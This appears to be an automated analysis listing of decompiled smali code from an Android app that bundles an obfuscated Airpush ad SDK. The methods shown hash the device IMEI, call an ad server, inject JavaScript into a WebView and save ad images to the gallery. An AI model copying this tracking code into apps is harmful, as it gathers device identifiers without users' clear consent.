2 | .end annotation | |
3 | .prologue | |
5 | const-string v0, "AirplayMraid" | |
6 | new-instance v1, Ljava/lang/StringBuilder; | |
8 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
10 | const-string v2, "JS Log: " | |
12 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
13 | move-result-object v1 | |
15 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
16 | move-result-object v1 | |
18 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
19 | move-result-object v1 | |
21 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
22 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v0, "AirplaySDK" | |
4 | new-instance v1, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v2, "Info sent: " | |
10 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v1 | |
13 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v1 | |
16 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v1 | |
19 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "mContext" # Landroid/content/Context; | |
1 | .prologue | |
2 | const/4 v2, 0x1 | |
3 | if-nez p0, :cond_10 | |
4 | try_start_3: | |
5 | const-string v3, "AirplaySDK" | |
7 | const-string v4, "Context is null." | |
9 | invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
11 | const-string v3, "Context is null" | |
13 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
14 | const/4 v2, 0x0 | |
15 | cond_10: | |
16 | invoke-static {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z | |
17 | move-result v3 | |
18 | if-nez v3, :cond_17 | |
19 | const/4 v2, 0x0 | |
20 | cond_17: | |
21 | invoke-static {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z | |
22 | move-result v3 | |
23 | if-nez v3, :cond_1e | |
24 | const/4 v2, 0x0 | |
25 | cond_1e: new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails; | |
27 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V | |
29 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z | |
30 | move-result v3 | |
31 | if-nez v3, :cond_2a | |
32 | const/4 v2, 0x0 | |
33 | cond_2a: new-instance v3, Lcom/vxjxu/jkhfn1870/SetPreferences; | |
35 | invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V | |
37 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V | |
38 | try_end_32: return v2 | |
39 | catch_33: move-exception v1 | |
41 | const-string v3, "AirplaySDK" | |
43 | const-string v4, "Error occurred while checking required details: " | |
45 | invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
46 | const/4 v2, 0x0 | |
47 | goto/16 :goto_32 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p4, "url" # Ljava/lang/String; | |
2 | .param p5, "wait" # J | |
3 | .param p7, "isAddValues" # Z | |
4 | .annotation system Ldalvik/annotation/Signature; | |
5 | value = { | |
6 | "(", | |
7 | "Landroid/content/Context;", | |
8 | "Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener", | |
9 | "<", | |
10 | "Ljava/lang/String;", | |
11 | ">;", | |
12 | "Ljava/util/List", | |
13 | "<", | |
14 | "Lorg/apache/http/NameValuePair;", | |
15 | ">;", | |
16 | "Ljava/lang/String;", | |
17 | "JZ)V" | |
18 | } | |
19 | .end annotation | |
20 | .prologue | |
22 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
23 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context; | |
24 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
25 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List; | |
26 | iput-object p4, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->url:Ljava/lang/String; | |
27 | new-instance v0, Ljava/lang/StringBuilder; | |
29 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
31 | const-string v1, "Url: " | |
33 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
34 | move-result-object v0 | |
36 | invoke-virtual {v0, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
37 | move-result-object v0 | |
39 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
40 | move-result-object v0 | |
42 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
43 | iput-wide p5, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J | |
44 | iput-boolean p7, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->isAddvalues:Z | |
45 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "image_url" # Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Signature; | |
2 | value = { | |
3 | "(", | |
4 | "Ljava/lang/String;", | |
5 | "Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener", | |
6 | "<", | |
7 | "Landroid/graphics/Bitmap;", | |
8 | ">;)V" | |
9 | } | |
10 | .end annotation | |
11 | .prologue | |
13 | invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V | |
14 | const/4 v0, 0x0 | |
15 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->bmpicon:Landroid/graphics/Bitmap; | |
16 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->IMAGE_URL:Ljava/lang/String; | |
17 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->listener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
18 | new-instance v0, Ljava/lang/StringBuilder; | |
20 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
22 | const-string v1, "Image URL: " | |
24 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
25 | move-result-object v0 | |
27 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
28 | move-result-object v0 | |
30 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
31 | move-result-object v0 | |
33 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
34 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
10 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
11 | move-result-object v0 | |
12 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
16 | invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String; | |
17 | move-result-object v1 | |
19 | invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
21 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
23 | const-string v1, "video_url" | |
25 | invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
27 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
29 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
30 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v4, Ljava/util/ArrayList; | |
3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
4 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
6 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
7 | move-result-object v2 | |
9 | const-string v5, "https://api.airpush.com/lp/getinterstitialads.php" | |
10 | const-wide/16 v6, 0x0 | |
11 | const/4 v8, 0x1 | |
12 | move-object v3, p0 | |
14 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
15 | new-instance v2, Ljava/lang/Thread; | |
17 | const-string v3, "SmartWall" | |
19 | invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
21 | invoke-virtual {v2}, Ljava/lang/Thread;->start()V | |
22 | goto_1e: return-void | |
23 | catch_1f: move-exception v0 | |
25 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
26 | goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
6 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
8 | const-string v1, "93" | |
10 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
12 | const-string v0, "AirplayMraid" | |
14 | const-string v1, "Ad image is saved in Gallery." | |
16 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
18 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
20 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
22 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
23 | const/4 v1, 0x1 | |
25 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
26 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "millisUntilFinished" # J | |
1 | .prologue | |
3 | iget-object v0, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView; | |
4 | new-instance v1, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v2, "Left: " | |
10 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v1 | |
12 | const-wide/16 v2, 0x3e8 | |
13 | div-long v2, p1, v2 | |
15 | invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder; |
|
16 | move-result-object v1 | |
18 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
19 | move-result-object v1 | |
21 | invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V | |
22 | return-void |
Method: com.vxjxu.jkhfn1870.MraidView$5->run() Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 22
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
3 | new-instance v1, Ljava/lang/StringBuilder; | |
5 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
7 | const-string v2, "javascript:" | |
9 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
10 | move-result-object v1 | |
12 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->val$js_code:Ljava/lang/String; | |
14 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
15 | move-result-object v1 | |
17 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
18 | move-result-object v1 | |
20 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V | |
21 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | new-instance v0, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v1, "Loading url: " | |
8 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v0 | |
11 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
12 | move-result-object v0 | |
14 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
15 | move-result-object v0 | |
17 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
19 | invoke-super {p0, p1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V | |
20 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getIntent()Landroid/content/Intent; | |
3 | move-result-object v1 | |
5 | invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
6 | move-result-object v1 | |
8 | const-string v2, "playVideo" | |
10 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
11 | try_end_d: move-result v1 | |
12 | if-eqz v1, :cond_15 | |
13 | goto_10: return-void | |
14 | catch_11: move-exception v0 | |
16 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
17 | cond_15: | |
18 | invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V | |
19 | goto/16 :goto_10 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->values()[Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
3 | move-result-object v0 | |
4 | array-length v0, v0 | |
5 | new-array v0, v0, [I | |
6 | sput-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
7 | try_start_9: | |
8 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
10 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
12 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
13 | move-result v1 | |
14 | const/4 v2, 0x1 | |
15 | aput v2, v0, v1 | |
16 | try_end_14: | |
17 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
19 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
22 | move-result v1 | |
23 | const/4 v2, 0x2 | |
24 | aput v2, v0, v1 | |
25 | try_end_1f: | |
26 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
28 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
30 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
31 | move-result v1 | |
32 | const/4 v2, 0x3 | |
33 | aput v2, v0, v1 | |
34 | try_start_2a: | |
35 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
37 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
39 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
40 | move-result v1 | |
41 | const/4 v2, 0x4 | |
42 | aput v2, v0, v1 | |
43 | try_start_35: | |
44 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
46 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
48 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
49 | move-result v1 | |
50 | const/4 v2, 0x5 | |
51 | aput v2, v0, v1 | |
52 | try_start_40: | |
53 | sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I | |
55 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
57 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I | |
58 | move-result v1 | |
59 | const/4 v2, 0x6 | |
60 | aput v2, v0, v1 | |
61 | goto_4b: return-void | |
62 | catch_4c: move-exception v0 | |
63 | goto/16 :goto_4b | |
64 | catch_4e: move-exception v0 | |
65 | goto/16 :goto_40 | |
66 | catch_50: move-exception v0 | |
67 | goto/16 :goto_35 | |
68 | catch_52: move-exception v0 | |
69 | goto/16 :goto_2a | |
70 | catch_54: move-exception v0 | |
71 | goto/16 :goto_1f | |
72 | catch_56: move-exception v0 | |
73 | goto/16 :goto_14 |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "parseMraidJson" # Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
2 | .param p3, "handler" # Landroid/os/Handler; | |
3 | .annotation build Landroid/annotation/SuppressLint; | |
4 | value = { | |
5 | "InlinedApi" | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
10 | invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V | |
11 | const/4 v2, 0x0 | |
12 | iput-boolean v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z | |
13 | try_start_6: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I | |
14 | const/16 v3, 0xb | |
15 | if-lt v2, v3, :cond_1f | |
16 | instance-of v2, p1, Landroid/app/Activity; | |
17 | if-eqz v2, :cond_1f | |
18 | move-object v0, p1 | |
19 | check-cast v0, Landroid/app/Activity; | |
20 | move-object v2, v0 | |
22 | invoke-virtual {v2}, Landroid/app/Activity;->getWindow()Landroid/view/Window; | |
23 | move-result-object v2 | |
24 | const/high16 v3, 0x1000000 | |
25 | const/high16 v4, 0x1000000 | |
27 | invoke-virtual {v2, v3, v4}, Landroid/view/Window;->setFlags(II)V |
|
28 | try_end_1f: | |
29 | invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String; | |
30 | move-result-object v2 | |
31 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String; | |
32 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
33 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
35 | invoke-direct {v2}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;-><init>()V | |
36 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
38 | invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; | |
39 | move-result-object v2 | |
41 | invoke-virtual {v2}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics; | |
42 | move-result-object v2 | |
43 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
45 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
46 | iget v2, v2, Landroid/util/DisplayMetrics;->density:F | |
47 | iput v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
48 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
50 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
51 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
52 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
54 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->initSettting()V | |
55 | goto_4a: return-void | |
56 | catch_4b: move-exception v1 | |
58 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
59 | goto/16 :goto_4a | |
60 | catch_50: move-exception v2 | |
61 | goto/16 :goto_1f |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "v" # Landroid/view/View; | |
1 | .prologue | |
3 | invoke-virtual {p1}, Landroid/view/View;->getId()I | |
4 | move-result v0 | |
5 | packed-switch v0, :pswitch_data_3a | |
6 | goto_7: return-void | |
7 | pswitch_8: | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
9 | if-eqz v0, :cond_7 | |
11 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
13 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->canGoBack()Z | |
14 | move-result v0 | |
15 | if-eqz v0, :cond_7 | |
17 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
19 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->goBack()V | |
20 | goto/16 :goto_7 | |
21 | pswitch_1a: | |
22 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
23 | if-eqz v0, :cond_7 | |
25 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
27 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->canGoForward()Z | |
28 | move-result v0 | |
29 | if-eqz v0, :cond_7 | |
31 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
33 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->goForward()V | |
34 | goto/16 :goto_7 | |
35 | pswitch_2c: | |
36 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
37 | if-eqz v0, :cond_7 | |
39 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
41 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->reload()V | |
42 | goto/16 :goto_7 | |
43 | pswitch_36: | |
44 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
45 | goto/16 :goto_7 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .param p2, "json" # Ljava/lang/String; | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/lang/Exception; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
9 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
11 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
12 | move-result-object v0 | |
13 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
15 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
16 | new-instance v1, Ljava/lang/StringBuilder; | |
18 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
20 | const-string v2, "" | |
22 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
23 | move-result-object v1 | |
25 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
26 | move-result-object v1 | |
28 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
29 | move-result-object v1 | |
31 | invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
33 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
35 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
36 | move-result v0 | |
37 | return v0 |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
10 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
11 | move-result-object v0 | |
